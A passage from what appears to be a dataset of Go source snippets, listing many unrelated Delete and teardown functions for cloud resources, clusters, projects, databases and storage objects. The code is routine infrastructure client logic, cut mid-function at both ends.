applicationName string, urlType localConfigProvider.URLKind, isS2i bool) error {\n\tif urlType == localConfigProvider.INGRESS {\n\t\treturn kClient.DeleteIngress(urlName)\n\t} else if urlType == localConfigProvider.ROUTE {\n\t\tif isS2i {\n\t\t\t// Namespace the URL name\n\t\t\tvar err error\n\t\t\turlName, err = util.NamespaceOpenShiftObject(urlName, applicationName)\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrapf(err, \"unable to create namespaced name\")\n\t\t\t}\n\t\t}\n\n\t\treturn client.DeleteRoute(urlName)\n\t}\n\treturn errors.New(\"url type is not supported\")\n}", "func (c *cstor) Delete() (*v1alpha1.CASSnapshot, error) {\n\t_, err := snapshot.DestroySnapshot(c.IP, c.Snap.Spec.VolumeName, c.Snap.Name)\n\t// If there is no err that means call was successful\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t// we are returning the same struct that we received as input.\n\t// This would be modified when server replies back with some property of\n\t// created snapshot\n\treturn c.Snap, nil\n}", "func (ms *MachinePlugin) DeleteMachine(ctx context.Context, req *cmi.DeleteMachineRequest) (*cmi.DeleteMachineResponse, error) {\n\t// Log messages to track delete request\n\tglog.V(2).Infof(\"Machine deletion request has been recieved for %q\", req.MachineName)\n\tdefer glog.V(2).Infof(\"Machine deletion request has been processed for %q\", req.MachineName)\n\n\tproviderSpec, secrets, err := decodeProviderSpecAndSecret(req.ProviderSpec, req.Secrets, false)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tinstances, err := ms.getInstancesFromMachineName(req.MachineName, providerSpec, secrets)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tsvc, err := ms.createSVC(secrets, providerSpec.Region)\n\tif err != nil {\n\t\treturn nil, status.Error(codes.Internal, err.Error())\n\t}\n\n\tfor _, instance := range instances {\n\t\tinput := &ec2.TerminateInstancesInput{\n\t\t\tInstanceIds: []*string{\n\t\t\t\taws.String(*instance.InstanceId),\n\t\t\t},\n\t\t\tDryRun: aws.Bool(false),\n\t\t}\n\t\t_, err = svc.TerminateInstances(input)\n\t\tif err != nil {\n\t\t\tglog.V(2).Infof(\"VM %q for Machine %q couldn't be terminated: %s\",\n\t\t\t\t*instance.InstanceId,\n\t\t\t\treq.MachineName,\n\t\t\t\terr.Error(),\n\t\t\t)\n\t\t\treturn nil, status.Error(codes.Internal, err.Error())\n\t\t}\n\n\t\tglog.V(2).Infof(\"VM %q for Machine %q was terminated succesfully\", *instance.InstanceId, req.MachineName)\n\t}\n\n\treturn &cmi.DeleteMachineResponse{}, nil\n}", "func (client CloudEndpointsClient) Delete(ctx context.Context, resourceGroupName string, storageSyncServiceName string, syncGroupName string, cloudEndpointName string) (result CloudEndpointsDeleteFuture, err error) {\n\tif tracing.IsEnabled() {\n\t\tctx = tracing.StartSpan(ctx, fqdn+\"/CloudEndpointsClient.Delete\")\n\t\tdefer func() {\n\t\t\tsc := -1\n\t\t\tif result.FutureAPI != nil && result.FutureAPI.Response() != nil {\n\t\t\t\tsc = result.FutureAPI.Response().StatusCode\n\t\t\t}\n\t\t\ttracing.EndSpan(ctx, sc, err)\n\t\t}()\n\t}\n\tif err := validation.Validate([]validation.Validation{\n\t\t{TargetValue: client.SubscriptionID,\n\t\t\tConstraints: []validation.Constraint{{Target: \"client.SubscriptionID\", Name: validation.MinLength, Rule: 1, Chain: nil}}},\n\t\t{TargetValue: resourceGroupName,\n\t\t\tConstraints: []validation.Constraint{{Target: \"resourceGroupName\", Name: validation.MaxLength, Rule: 90, Chain: nil},\n\t\t\t\t{Target: \"resourceGroupName\", Name: validation.MinLength, Rule: 1, Chain: nil},\n\t\t\t\t{Target: \"resourceGroupName\", Name: validation.Pattern, Rule: `^[-\\w\\._\\(\\)]+$`, Chain: nil}}}}); err != nil {\n\t\treturn result, validation.NewError(\"storagesync.CloudEndpointsClient\", \"Delete\", err.Error())\n\t}\n\n\treq, err := client.DeletePreparer(ctx, resourceGroupName, storageSyncServiceName, syncGroupName, cloudEndpointName)\n\tif err != nil {\n\t\terr = autorest.NewErrorWithError(err, \"storagesync.CloudEndpointsClient\", \"Delete\", nil, \"Failure preparing request\")\n\t\treturn\n\t}\n\n\tresult, err = client.DeleteSender(req)\n\tif err != nil {\n\t\terr = autorest.NewErrorWithError(err, \"storagesync.CloudEndpointsClient\", \"Delete\", result.Response(), \"Failure sending request\")\n\t\treturn\n\t}\n\n\treturn\n}", "func ProjectDestroy(c *gin.Context) error {\n\tproject, err := GetProject(c)\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif err := CheckUserPermission(c, project.UserID); err != nil {\n\t\treturn err\n\t}\n\n\tif err := project.Delete(); err != nil {\n\t\treturn err\n\t}\n\n\tc.Writer.WriteHeader(http.StatusNoContent)\n\treturn nil\n}", "func (ftc *FlavorTemplateController) Delete(w http.ResponseWriter, r *http.Request) (interface{}, int, error) {\n\tdefaultLog.Trace(\"controllers/flavortemplate_controller:Delete() Entering\")\n\tdefer defaultLog.Trace(\"controllers/flavortemplate_controller:Delete() Leaving\")\n\n\ttemplateID := uuid.MustParse(mux.Vars(r)[\"ftId\"])\n\n\t//call store function to delete template from DB.\n\tif err := ftc.FTStore.Delete(templateID); err != nil {\n\t\tswitch err.(type) {\n\t\tcase *commErr.StatusNotFoundError:\n\t\t\tdefaultLog.WithError(err).Error(\"controllers/flavortemplate_controller:Delete() Flavor template with given ID does not exist\")\n\t\t\treturn nil, http.StatusNotFound, &commErr.ResourceError{Message: \"Flavor template with given ID does not exist or has been deleted\"}\n\t\tdefault:\n\t\t\tdefaultLog.WithError(err).Error(\"controllers/flavortemplate_controller:Delete() Failed to delete flavor template with given ID\")\n\t\t\treturn nil, http.StatusInternalServerError, &commErr.ResourceError{Message: \"Failed to delete flavor template with given ID\"}\n\t\t}\n\t}\n\n\treturn nil, http.StatusNoContent, nil\n}", "func (cc *CenterConfig) Delete() error {\n\tdb := cc.getDb()\n\terr := db.Begin()\n\t_, err = db.Delete(cc)\n\tif err == nil {\n\t\t_, err = MetaCache.Delete(MetaCache{}, cc.formatEtcdKeys())\n\t\tif err != nil {\n\t\t\tlog.Error(\"Etcd del error:\" + err.Error())\n\t\t\terr = db.Rollback()\n\t\t} else {\n\t\t\terr = db.Commit()\n\t\t}\n\t} else {\n\t\terr = db.Rollback()\n\t}\n\treturn err\n}", "func Delete(client *gophercloud.ServiceClient, zoneID string) (r DeleteResult) {\n\tresp, err := client.Delete(zoneURL(client, zoneID), &gophercloud.RequestOpts{\n\t\tOkCodes: []int{202},\n\t\tJSONResponse: &r.Body,\n\t})\n\t_, r.Header, r.Err = gophercloud.ParseResponse(resp, err)\n\treturn\n}", "func (d *Driver) Delete(ctx context.Context, f *functions.Function) error {\n\tspan, ctx := trace.Trace(ctx, \"\")\n\tdefer span.Finish()\n\tif err := d.deleteContainers(ctx, f, true); err != nil {\n\t\t// no error wrapping, delete already does that\n\t\treturn err\n\t}\n\treturn nil\n}", "func (p *googleCloudProvider) Delete(_ context.Context, req *rpc.DeleteRequest) (*empty.Empty, error) {\n\turn := resource.URN(req.GetUrn())\n\tlabel := fmt.Sprintf(\"%s.Delete(%s)\", p.name, urn)\n\tlogging.V(9).Infof(\"%s executing\", label)\n\n\tresourceKey := string(urn.Type())\n\tres, ok := p.resourceMap.Resources[resourceKey]\n\tif !ok {\n\t\treturn nil, errors.Errorf(\"resource %q not found\", resourceKey)\n\t}\n\n\t// Deserialize RPC inputs\n\toldState, err := plugin.UnmarshalProperties(req.GetProperties(), plugin.MarshalOptions{\n\t\tLabel: fmt.Sprintf(\"%s.properties\", label), SkipNulls: true,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Extract old inputs from the `__inputs` field of the old state.\n\tinputs := parseCheckpointObject(oldState)\n\n\t// Look up operation functions by resourceKey\n\t// Example: google-native:storage/v1:Bucket\n\t// If defined, run that function instead of a single HTTP call\n\tif f, ok := ResourceDeleteOverrides[resourceKey]; ok {\n\t\terr := f(p, res, inputs.Mappable(), oldState.Mappable())\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\treturn &empty.Empty{}, nil\n\t}\n\n\tif isIAMOverlay(urn) {\n\t\tinputs, err = inputsForIAMOverlayDelete(res, urn, inputs, p.client)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\turi, err := res.Delete.Endpoint.URI(inputs.Mappable(), oldState.Mappable())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif res.Delete.Undefined() {\n\t\t// At the time of writing, the classic GCP provider has the same behavior and warning for 10 resources.\n\t\tlogging.V(1).Infof(\"%q resources\"+\n\t\t\t\" cannot be deleted from Google Cloud. The resource %s will be removed from Pulumi\"+\n\t\t\t\" state, but will still be present on Google Cloud.\", resourceKey, req.GetId())\n\t\treturn &empty.Empty{}, nil\n\t}\n\n\tbody := p.prepareAPIInputs(inputs, nil, res.Delete.SDKProperties)\n\n\tresp, err := retryRequest(p.client, res.Delete.Verb, uri, \"\", body)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error sending request: %s\", err)\n\t}\n\n\t_, err = p.waitForResourceOpCompletion(urn, res.Delete, resp, nil)\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(err, \"waiting for completion\")\n\t}\n\n\treturn &empty.Empty{}, nil\n}", "func (f *FakeProjectProvider) Delete(userInfo *provider.UserInfo, projectInternalName string) error {\n\treturn errors.New(\"not implemented\")\n}", "func (api *distributedservicecardAPI) Delete(obj *cluster.DistributedServiceCard) error {\n\tif api.ct.resolver != nil {\n\t\tapicl, err := api.ct.apiClient()\n\t\tif err != nil {\n\t\t\tapi.ct.logger.Errorf(\"Error creating API server clent. Err: %v\", err)\n\t\t\treturn err\n\t\t}\n\n\t\t_, err = apicl.ClusterV1().DistributedServiceCard().Delete(context.Background(), &obj.ObjectMeta)\n\t\treturn err\n\t}\n\n\tapi.ct.handleDistributedServiceCardEvent(&kvstore.WatchEvent{Object: obj, Type: kvstore.Deleted})\n\treturn nil\n}", "func (p *Provider) Delete(name, explicitKubeconfigPath string) error {\n\treturn internaldelete.Cluster(p.logger, p.ic(name), explicitKubeconfigPath)\n}", "func Delete(c *gophercloud.ServiceClient, containerName, objectName string, opts os.DeleteOptsBuilder) os.DeleteResult {\n\treturn os.Delete(c, containerName, objectName, nil)\n}", "func (api *hostAPI) SyncDelete(obj *cluster.Host) error {\n\tvar writeErr error\n\tif api.ct.resolver != nil {\n\t\tapicl, err := api.ct.apiClient()\n\t\tif err != nil {\n\t\t\tapi.ct.logger.Errorf(\"Error creating API server clent. Err: %v\", err)\n\t\t\treturn err\n\t\t}\n\n\t\t_, writeErr = apicl.ClusterV1().Host().Delete(context.Background(), &obj.ObjectMeta)\n\t}\n\n\tif writeErr == nil {\n\t\tapi.ct.handleHostEvent(&kvstore.WatchEvent{Object: obj, Type: kvstore.Deleted})\n\t}\n\n\treturn writeErr\n}", "func (c *Client) Delete(rawurl string) error {\n\treturn c.Do(rawurl, \"DELETE\", nil, nil)\n}", "func (c *CoderFirestore) Delete(ctx context.Context) error {\n\treturn c.deleteShards(ctx)\n}", "func (o *GetUserUsageParams) SetCloud(cloud *string) {\n\to.Cloud = cloud\n}", "func DeleteStorage(storageID string) error {\n\tclient, err := NewExtPacketClient()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t_, e := client.Storages.Delete(storageID)\n\treturn e\n}", "func (ch *ClusterHost) Delete() error {\n\tLogf(\"%s removing host from %s\\n\", ch.ID(), ch.Path)\n\n\tobj, err := ch.finder.HostSystem(ch.ctx, path.Join(ch.Path, ch.Name))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn vSphereRemoveHost(ch.ctx, obj)\n}", "func ProjectDelete(w http.ResponseWriter, r *http.Request) {\n\n\t// Init output\n\toutput := []byte(\"\")\n\n\t// Add content type header to the response\n\tcontentType := \"application/json\"\n\tcharset := \"utf-8\"\n\tw.Header().Add(\"Content-Type\", fmt.Sprintf(\"%s; charset=%s\", contentType, charset))\n\n\t// Grab context references\n\trefStr := gorillaContext.Get(r, \"str\").(stores.Store)\n\n\t// Get Result Object\n\t// Get project UUID First to use as reference\n\tprojectUUID := gorillaContext.Get(r, \"auth_project_uuid\").(string)\n\t// RemoveProject removes also attached subs and topics from the datastore\n\terr := projects.RemoveProject(projectUUID, refStr)\n\tif err != nil {\n\t\tif err.Error() == \"not found\" {\n\t\t\terr := APIErrorNotFound(\"ProjectUUID\")\n\t\t\trespondErr(w, err)\n\t\t\treturn\n\t\t}\n\t\terr := APIErrGenericInternal(err.Error())\n\t\trespondErr(w, err)\n\t\treturn\n\t}\n\n\t// TODO Stop any relevant push subscriptions when deleting a project\n\n\t// Write empty response if anything ok\n\trespondOK(w, output)\n\n}", "func (p *ProjectProvider) Delete(userInfo *provider.UserInfo, projectInternalName string) error {\n\tif userInfo == nil {\n\t\treturn errors.New(\"a user is missing but required\")\n\t}\n\tmasterImpersonatedClient, err := createImpersonationClientWrapperFromUserInfo(userInfo, p.createMasterImpersonatedClient)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\texistingProject := &kubermaticapiv1.Project{}\n\tif err := masterImpersonatedClient.Get(context.Background(), ctrlruntimeclient.ObjectKey{Name: projectInternalName}, existingProject); err != nil {\n\t\treturn err\n\t}\n\n\texistingProject.Status.Phase = kubermaticapiv1.ProjectTerminating\n\tif err := masterImpersonatedClient.Update(context.Background(), existingProject); err != nil {\n\t\treturn err\n\t}\n\n\treturn masterImpersonatedClient.Delete(context.Background(), existingProject)\n}", "func (api *distributedservicecardAPI) SyncDelete(obj *cluster.DistributedServiceCard) error {\n\tvar writeErr error\n\tif api.ct.resolver != nil {\n\t\tapicl, err := api.ct.apiClient()\n\t\tif err != nil {\n\t\t\tapi.ct.logger.Errorf(\"Error creating API server clent. Err: %v\", err)\n\t\t\treturn err\n\t\t}\n\n\t\t_, writeErr = apicl.ClusterV1().DistributedServiceCard().Delete(context.Background(), &obj.ObjectMeta)\n\t}\n\n\tif writeErr == nil {\n\t\tapi.ct.handleDistributedServiceCardEvent(&kvstore.WatchEvent{Object: obj, Type: kvstore.Deleted})\n\t}\n\n\treturn writeErr\n}", "func (a *ConsulClient) Delete(fqdn string, tags []string) derrors.Error {\n\n\t// delete the associated node\n\n\tif tags == nil || len(tags) == 0 {\n\t\t// remove using the FQDN\n\t\treturn a.deleteEntryById(fqdn)\n\t}\n\n\t// delete entries using tags\n\treturn a.deleteEntryByTags(tags)\n}", "func (az *AzureClient) DeleteVirtualMachine(ctx context.Context, resourceGroup, name string) error {\n\tfuture, err := az.virtualMachinesClient.Delete(ctx, resourceGroup, name)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif err = future.WaitForCompletionRef(ctx, az.virtualMachinesClient.Client); err != nil {\n\t\treturn err\n\t}\n\n\t_, err = future.Result(az.virtualMachinesClient)\n\treturn err\n}", "func DeleteProject(w http.ResponseWriter, r *http.Request) {\n\t// Get Project ID\n\t// Perform db delete.\n\t// Return a response\n}", "func (c *TestClient) DeleteDisk(project, zone, name string) error {\n\tif c.DeleteDiskFn != nil {\n\t\treturn c.DeleteDiskFn(project, zone, name)\n\t}\n\treturn c.client.DeleteDisk(project, zone, name)\n}", "func DeleteCore(coreName string, deleteIndex bool) (string, error) {\n\tca, err := solr.NewCoreAdmin(solrUrl)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tv := url.Values{}\n\tv.Add(\"core\", coreName)\n\tv.Add(\"deleteIndex\", strconv.FormatBool(deleteIndex))\n\n\tres, err := ca.Action(\"UNLOAD\", &v)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn util.ResponseJson(res), nil\n}", "func (v *ProjectClient) DeleteProject(name string) error {\n\n\t//Construct the composite key to select the entry\n\tkey := ProjectKey{\n\t\tProjectName: name,\n\t}\n\terr := db.DBconn.Remove(v.storeName, key)\n\tif err != nil {\n\t\treturn pkgerrors.Wrap(err, \"Delete Project Entry;\")\n\t}\n\n\t//TODO: Delete the collection when the project is deleted\n\treturn nil\n}", "func (r provisionTokenClient) Delete(ctx context.Context, name string) error {\n\tteleportClient, err := r.TeleportClientAccessor(ctx)\n\tif err != nil {\n\t\treturn trace.Wrap(err)\n\t}\n\n\treturn trace.Wrap(teleportClient.DeleteToken(ctx, name))\n}", "func DeleteDatabase(address string) error {\n\tcAdr := C.CString(address)\n\tdefer C.free(unsafe.Pointer(cAdr))\n\tif C.wg_delete_database(cAdr) != 0 {\n\t\treturn WDBError(\"Could not delete database\")\n\t}\n\treturn nil\n}", "func (s *Reconciler) Delete(ctx context.Context) error {\n\tvmSpec := &virtualmachines.Spec{\n\t\tName: s.scope.Machine.Name,\n\t}\n\n\t// Getting a vm object does not work here so let's assume\n\t// an instance is really being deleted\n\tif s.scope.Machine.Annotations == nil {\n\t\ts.scope.Machine.Annotations = make(map[string]string)\n\t}\n\ts.scope.Machine.Annotations[MachineInstanceStateAnnotationName] = string(machinev1.VMStateDeleting)\n\tvmStateDeleting := machinev1.VMStateDeleting\n\ts.scope.MachineStatus.VMState = &vmStateDeleting\n\n\terr := s.virtualMachinesSvc.Delete(ctx, vmSpec)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to delete machine: %w\", err)\n\t}\n\n\tosDiskSpec := &disks.Spec{\n\t\tName: azure.GenerateOSDiskName(s.scope.Machine.Name),\n\t}\n\terr = s.disksSvc.Delete(ctx, osDiskSpec)\n\tif err != nil {\n\t\tmetrics.RegisterFailedInstanceDelete(&metrics.MachineLabels{\n\t\t\tName: s.scope.Machine.Name,\n\t\t\tNamespace: s.scope.Machine.Namespace,\n\t\t\tReason: err.Error(),\n\t\t})\n\t\treturn fmt.Errorf(\"failed to delete OS disk: %w\", err)\n\t}\n\n\tif s.scope.MachineConfig.Vnet == \"\" {\n\t\treturn fmt.Errorf(\"MachineConfig vnet is missing on machine %s\", s.scope.Machine.Name)\n\t}\n\n\tnetworkInterfaceSpec := &networkinterfaces.Spec{\n\t\tName: azure.GenerateNetworkInterfaceName(s.scope.Machine.Name),\n\t\tVnetName: s.scope.MachineConfig.Vnet,\n\t}\n\n\terr = s.networkInterfacesSvc.Delete(ctx, networkInterfaceSpec)\n\tif err != nil {\n\t\tmetrics.RegisterFailedInstanceDelete(&metrics.MachineLabels{\n\t\t\tName: s.scope.Machine.Name,\n\t\t\tNamespace: s.scope.Machine.Namespace,\n\t\t\tReason: err.Error(),\n\t\t})\n\t\treturn fmt.Errorf(\"Unable to delete network interface: %w\", err)\n\t}\n\n\tif s.scope.MachineConfig.PublicIP {\n\t\tpublicIPName, err := azure.GenerateMachinePublicIPName(s.scope.MachineConfig.Name, s.scope.Machine.Name)\n\t\tif err != nil {\n\t\t\t// Only when the generated name is longer than allowed by the Azure portal\n\t\t\t// That can happen only when\n\t\t\t// - machine name is changed (can't happen without creating a new CR)\n\t\t\t// - cluster name is changed (could happen but then we will get different name anyway)\n\t\t\t// - machine CR was created with too long public ip name (in which case no instance was created)\n\t\t\tklog.Info(\"Generated public IP name was too long, skipping deletion of the resource\")\n\t\t\treturn nil\n\t\t}\n\n\t\terr = s.publicIPSvc.Delete(ctx, &publicips.Spec{\n\t\t\tName: publicIPName,\n\t\t})\n\t\tif err != nil {\n\t\t\tmetrics.RegisterFailedInstanceDelete(&metrics.MachineLabels{\n\t\t\t\tName: s.scope.Machine.Name,\n\t\t\t\tNamespace: s.scope.Machine.Namespace,\n\t\t\t\tReason: err.Error(),\n\t\t\t})\n\t\t\treturn fmt.Errorf(\"unable to delete Public IP: %w\", err)\n\t\t}\n\t}\n\n\t// Delete the availability set with the given name if no virtual machines are attached to it.\n\tif err := s.availabilitySetsSvc.Delete(ctx, &availabilitysets.Spec{\n\t\tName: s.getAvailibilitySetName(),\n\t}); err != nil {\n\t\treturn fmt.Errorf(\"failed to delete availability set: %w\", err)\n\t}\n\n\treturn nil\n}", "func (m *Machine) Delete() error {\n\tnamespacedName := types.NamespacedName{Namespace: m.namespace, Name: m.machineContext.KubevirtMachine.Name}\n\tvm := &kubevirtv1.VirtualMachine{}\n\tif err := m.client.Get(m.machineContext.Context, namespacedName, vm); err != nil {\n\t\tif apierrors.IsNotFound(err) {\n\t\t\tm.machineContext.Logger.Info(\"VM does not exist, nothing to do.\")\n\t\t\treturn nil\n\t\t}\n\t\treturn errors.Wrapf(err, \"failed to retrieve VM to delete\")\n\t}\n\n\tif err := m.client.Delete(gocontext.Background(), vm); err != nil {\n\t\treturn errors.Wrapf(err, \"failed to delete VM\")\n\t}\n\n\treturn nil\n}", "func (a ClustersApi) ClustersUuidCloudCredentialsCloudTypeDelete(uuid string, cloudType string) (*APIResponse, error) {\n\n\tvar httpMethod = \"Delete\"\n\t// create path and map variables\n\tpath := a.Configuration.BasePath + \"/clusters/{uuid}/cloud_credentials/{cloud_type}\"\n\tpath = strings.Replace(path, \"{\"+\"uuid\"+\"}\", fmt.Sprintf(\"%v\", uuid), -1)\n\tpath = strings.Replace(path, \"{\"+\"cloud_type\"+\"}\", fmt.Sprintf(\"%v\", cloudType), -1)\n\n\theaderParams := make(map[string]string)\n\tqueryParams := url.Values{}\n\tformParams := make(map[string]string)\n\tvar postBody interface{}\n\tvar fileName string\n\tvar fileBytes []byte\n\t// authentication (basicAuth) required\n\n\t// http basic authentication required\n\tif a.Configuration.Username != \"\" || a.Configuration.Password != \"\" {\n\t\theaderParams[\"Authorization\"] = \"Basic \" + a.Configuration.GetBasicAuthEncodedString()\n\t}\n\t// add default headers if any\n\tfor key := range a.Configuration.DefaultHeader {\n\t\theaderParams[key] = a.Configuration.DefaultHeader[key]\n\t}\n\n\t// to determine the Content-Type header\n\tlocalVarHttpContentTypes := []string{}\n\n\t// set Content-Type header\n\tlocalVarHttpContentType := a.Configuration.APIClient.SelectHeaderContentType(localVarHttpContentTypes)\n\tif localVarHttpContentType != \"\" {\n\t\theaderParams[\"Content-Type\"] = localVarHttpContentType\n\t}\n\t// to determine the Accept header\n\tlocalVarHttpHeaderAccepts := []string{\n\t\t\"application/json\",\n\t}\n\n\t// set Accept header\n\tlocalVarHttpHeaderAccept := a.Configuration.APIClient.SelectHeaderAccept(localVarHttpHeaderAccepts)\n\tif localVarHttpHeaderAccept != \"\" {\n\t\theaderParams[\"Accept\"] = localVarHttpHeaderAccept\n\t}\n\n\thttpResponse, err := a.Configuration.APIClient.CallAPI(path, httpMethod, postBody, headerParams, queryParams, formParams, fileName, fileBytes)\n\tif err != nil {\n\t\treturn NewAPIResponse(httpResponse.RawResponse), err\n\t}\n\n\treturn NewAPIResponse(httpResponse.RawResponse), err\n}", "func (r Virtual_Guest_Block_Device_Template_Group) DeleteCloudInitAttribute() (resp bool, err error) {\n\terr = r.Session.DoRequest(\"SoftLayer_Virtual_Guest_Block_Device_Template_Group\", \"deleteCloudInitAttribute\", nil, &r.Options, &resp)\n\treturn\n}", "func (auth *Authstore) Delete(p Principal) error {\n\treturn nil\n}", "func (m *CDatabase) Delete(cluster Cluster) error {\n\terr := db.C(COLLECTION).Remove(&cluster)\n\treturn err\n}", "func (s *Service) Delete(ctx context.Context) error {\n\tctx, _, done := tele.StartSpanWithLogger(ctx, \"privatedns.Service.Delete\")\n\tdefer done()\n\n\tctx, cancel := context.WithTimeout(ctx, reconciler.DefaultAzureServiceReconcileTimeout)\n\tdefer cancel()\n\n\tzoneSpec, links, _ := s.Scope.PrivateDNSSpec()\n\tif zoneSpec == nil {\n\t\treturn nil\n\t}\n\n\tmanaged, err := s.deleteLinks(ctx, links)\n\tif managed {\n\t\ts.Scope.UpdateDeleteStatus(infrav1.PrivateDNSLinkReadyCondition, serviceName, err)\n\t}\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tmanaged, err = s.deleteZone(ctx, zoneSpec)\n\tif managed {\n\t\ts.Scope.UpdateDeleteStatus(infrav1.PrivateDNSZoneReadyCondition, serviceName, err)\n\t\ts.Scope.UpdateDeleteStatus(infrav1.PrivateDNSRecordReadyCondition, serviceName, err)\n\t}\n\n\treturn err\n}", "func (o *StockCvterm) Delete(exec boil.Executor) error {\n\tif o == nil {\n\t\treturn errors.New(\"chado: no StockCvterm provided for delete\")\n\t}\n\n\tif err := o.doBeforeDeleteHooks(exec); err != nil {\n\t\treturn err\n\t}\n\n\targs := queries.ValuesFromMapping(reflect.Indirect(reflect.ValueOf(o)), stockCvtermPrimaryKeyMapping)\n\tsql := \"DELETE FROM \\\"stock_cvterm\\\" WHERE \\\"stock_cvterm_id\\\"=$1\"\n\n\tif boil.DebugMode {\n\t\tfmt.Fprintln(boil.DebugWriter, sql)\n\t\tfmt.Fprintln(boil.DebugWriter, args...)\n\t}\n\n\t_, err := exec.Exec(sql, args...)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"chado: unable to delete from stock_cvterm\")\n\t}\n\n\tif err := o.doAfterDeleteHooks(exec); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func Delete(url string, data ...interface{}) (*ClientResponse, error) {\n\treturn DoRequest(\"DELETE\", url, data...)\n}", "func TenantDelete(tenantID string) {\n\tRunCmd(fmt.Sprintf(\"%s tenant -op=del -id=%s\", ActlPath, tenantID))\n}", "func (p *ClusterProvider) Delete() error {\n\tprov, err := p.Cmd.BinaryExists(\"helm\")\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"please install helm before running the command\")\n\t}\n\tif !prov {\n\t\treturn errors.New(\"please install helm before running the command\")\n\t}\n\tcharts := p.Spec.Charts\n\tfor _, chart := range charts {\n\t\tchartSource, err := source.NewFromMap(chart, p.Cmd, filepath.Join(p.WorkingDir, \"source\"))\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"failed to initialize a source for chart\").WithField(\"chart\", chart)\n\t\t}\n\n\t\tname, err := chartSource.Name()\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"could not get name for chart\").WithField(\"chart\", chart)\n\t\t}\n\n\t\tp.Cmd.Run(\"helm\", \"uninstall\", \"--namespace\", p.NameSpace, name, \"--kubeconfig\", p.KubeConfig)\n\n\t}\n\treturn nil\n}", "func (k Kind) DeleteCluster() error {\n\tcmd := kindCommand(\"kind delete cluster\")\n\treturn cmd.Run()\n}", "func (c *SerialFirestore) Delete(ctx context.Context) error {\n\treturn c.deleteShards(ctx)\n}", "func (a ClustersAPI) Delete(clusterID string) error {\n\treturn a.Terminate(clusterID)\n}", "func (r *azureClusterReconciler) Delete(ctx context.Context) error {\n\tif err := r.loadBalancerSvc.Delete(ctx); err != nil {\n\t\treturn errors.Wrapf(err, \"failed to delete load balancer\")\n\t}\n\n\tif err := r.subnetsSvc.Delete(ctx); err != nil {\n\t\treturn errors.Wrapf(err, \"failed to delete subnet\")\n\t}\n\n\tif err := r.routeTableSvc.Delete(ctx); err != nil {\n\t\treturn errors.Wrapf(err, \"failed to delete route table\")\n\t}\n\n\tif err := r.securityGroupSvc.Delete(ctx); err != nil {\n\t\treturn errors.Wrapf(err, \"failed to delete network security group\")\n\t}\n\n\tif err := r.vnetSvc.Delete(ctx); err != nil {\n\t\treturn errors.Wrapf(err, \"failed to delete virtual network\")\n\t}\n\n\tif err := r.groupsSvc.Delete(ctx); err != nil {\n\t\treturn errors.Wrapf(err, \"failed to delete resource group\")\n\t}\n\n\treturn nil\n}", "func (api *clusterAPI) SyncDelete(obj *cluster.Cluster) error {\n\tvar writeErr error\n\tif api.ct.resolver != nil {\n\t\tapicl, err := api.ct.apiClient()\n\t\tif err != nil {\n\t\t\tapi.ct.logger.Errorf(\"Error creating API server clent. Err: %v\", err)\n\t\t\treturn err\n\t\t}\n\n\t\t_, writeErr = apicl.ClusterV1().Cluster().Delete(context.Background(), &obj.ObjectMeta)\n\t}\n\n\tif writeErr == nil {\n\t\tapi.ct.handleClusterEvent(&kvstore.WatchEvent{Object: obj, Type: kvstore.Deleted})\n\t}\n\n\treturn writeErr\n}", "func (c *Controller) deletePlatform(r *web.Request) (*web.Response, error) {\n\tplatformID := r.PathParams[reqPlatformID]\n\tctx := r.Context()\n\tlog.C(ctx).Debugf(\"Deleting platform with id %s\", platformID)\n\n\tbyIDQuery := query.ByField(query.EqualsOperator, \"id\", platformID)\n\tif err := c.PlatformStorage.Delete(ctx, byIDQuery); err != nil {\n\t\treturn nil, util.HandleStorageError(err, \"platform\")\n\t}\n\n\t// map[string]string{} will result in empty JSON\n\treturn util.NewJSONResponse(http.StatusOK, map[string]string{})\n}", "func (s *Storage) Delete(request *openapi.BackupRequest) error {\n\tfor _, v := range request.Envs {\n\t\tos.Setenv(v.Name, v.Value)\n\t}\n\tctx := context.Background()\n\tclient, err := getClient(ctx)\n\tif err != nil {\n\t\tlog.Printf(\"Error delete/getClient for %s:%s, error: %v\", request.Bucket, request.Location, err)\n\t\treturn fmt.Errorf(\"Cannot get Client: %v\", err)\n\t}\n\tdefer client.Close()\n\n\tctx, cancel := context.WithTimeout(ctx, time.Second*60)\n\tdefer cancel()\n\n\tlocation := request.Location\n\tif request.Location[0:1] == \"/\" {\n\t\tlocation = request.Location[1:]\n\t}\n\to := client.Bucket(request.Bucket).Object(location)\n\tif err := o.Delete(ctx); err != nil {\n\t\tlog.Printf(\"Error delete/Delete for %s:%s, error: %v\", request.Bucket, request.Location, err)\n\t\treturn fmt.Errorf(\"Object(%q).Delete: %v\", request.Location, err)\n\t}\n\tfmt.Printf(\"Delete for %s:%s deleted.\\n\", request.Bucket, request.Location)\n\treturn nil\n}", "func Delete(url string, token string, client http.Client) (err error) {\n\treq, err := http.NewRequest(\"DELETE\", url, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treq.Header.Set(\"X-Auth-Token\", token)\n\n\tresp, err := client.Do(req)\n\tif err != nil {\n\t\treturn 